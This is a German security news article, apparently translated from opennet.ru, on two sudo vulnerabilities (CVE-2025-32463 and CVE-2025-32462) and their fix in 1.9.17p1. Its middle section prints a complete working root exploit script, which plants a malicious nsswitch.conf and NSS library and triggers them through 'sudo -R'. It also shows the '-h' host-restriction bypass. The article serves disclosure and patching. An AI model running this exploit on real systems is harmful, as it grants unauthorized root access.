Im Sudo-Paket, das zur Ausführung von Befehlen im Namen anderer Benutzer verwendet wird, wurde eine Sicherheitsanfälligkeit (CVE-2025-32463) entdeckt, die es jedem nicht privilegierten Benutzer ermöglicht, Code mit Root-Rechten auszuführen, selbst wenn der Benutzer nicht in der Sudoers-Konfiguration aufgeführt ist. Betroffen sind Distributionen, die die Konfigurationsdatei /etc/nsswitch.conf verwenden, beispielsweise wurde die Möglichkeit der Ausnutzung der Schwachstelle in Ubuntu 24.04 und Fedora 41 demonstriert.
Die Schwachstelle tritt in der Standardkonfiguration auf und wurde in den Versionen von Sudo von 1.9.14 bis 1.9.17 bestätigt (potenziell sind alle Versionen ab 1.8.33 betroffen). Das Problem wurde in dem Update Sudo 1.9.17p1 behoben. Den Status der neuen Paketversion oder die Verfügbarkeit eines Patches in den Distributionen kann auf den folgenden Seiten überprüft werden (wenn die Seite nicht verfügbar ist, haben die Entwickler der Distribution das Problem möglicherweise noch nicht behandelt): Debian, Ubuntu, Fedora, SUSE/openSUSE, RHEL, Gentoo und Arch (1, 2).
Das Problem entsteht, weil bei der Anwendung der Option „-R“ („—chroot“) zur Ausführung von Befehlen in einer Chroot-Umgebung mit einem vom Benutzer gewählten Root-Verzeichnis die Datei /etc/nsswitch.conf im Kontext des neuen Root-Verzeichnisses und nicht im Systemverzeichnis geladen wurde. Da der Benutzer ein eigenes Verzeichnis als Root-Verzeichnis für Chroot verwenden kann, kann er dort die Konfigurationsdatei nsswitch.conf ablegen. Durch die Kontrolle der von der NSS (Name Service Switch) geladenen Datei /etc/nsswitch.conf kann der Benutzer Einstellungen hinzufügen, die zu einem Aufruf zusätzlicher Handler führen. Solche Handler werden von NSS in Form von Shared Libraries geladen, die ebenfalls im Benutzerverzeichnis abgelegt werden können. Indem der Benutzer seine eigene Bibliothek einfügt, kann er erreichen, dass aus dieser Bibliothek Code mit Root-Rechten ausgeführt wird, da die Verarbeitung durch NSS vor der Privilegienentfernung erfolgt.
Beispiel für einen Exploit: #!/bin/bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir(«/»); execl(«/bin/bash», «/bin/bash», NULL); } EOF mkdir -p woot/etc libnss_ echo «passwd: /woot1337» > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c echo «woot!» sudo -R woot woot rm -rf ${STAGE?}
In der Version sudo 1.9.17p1 wurde auch eine weitere Schwachstelle (CVE-2025-32462) behoben, die es ermöglichte, Befehle mit Root-Rechten auszuführen, diese jedoch nur in sudoers-Konfigurationen auftrat, bei denen der Parameter «host» auf einen Wert gesetzt wurde, der sich von ALL oder dem aktuellen Hostnamen unterscheidet. Die Schwachstelle wurde durch einen Fehler verursacht, der dazu führte, dass die Option «-h» («—host») nicht nur in Kombination mit der Option «-l» («—list») zur Ausgabe der an den Host gebundenen Berechtigungen wirkte, sondern auch beim Ausführen von Befehlen. Somit konnte der Benutzer beim Aufruf von sudo einen beliebigen Host angeben und die Einschränkungen der sudoers-Regeln, die an den Hostnamen gebunden sind, umgehen.
Um einen Angriff auszuführen, muss der Benutzer in sudoers erwähnt werden. Beispielsweise konnte der Benutzer „testuser“, wenn in den Einstellungen „testuser testhost = ALL“ angegeben ist, „sudo -h testhost“ verwenden und Befehle mit Root-Rechten auf beliebigen Hosts ausführen, nicht nur auf dem Host testhost. Konfigurationen der Art „testuser ALL = ALL“ oder solche ohne spezifische Regeln für einzelne Benutzer sind von dieser Schwachstelle nicht betroffen.
Quelle: opennet.ru
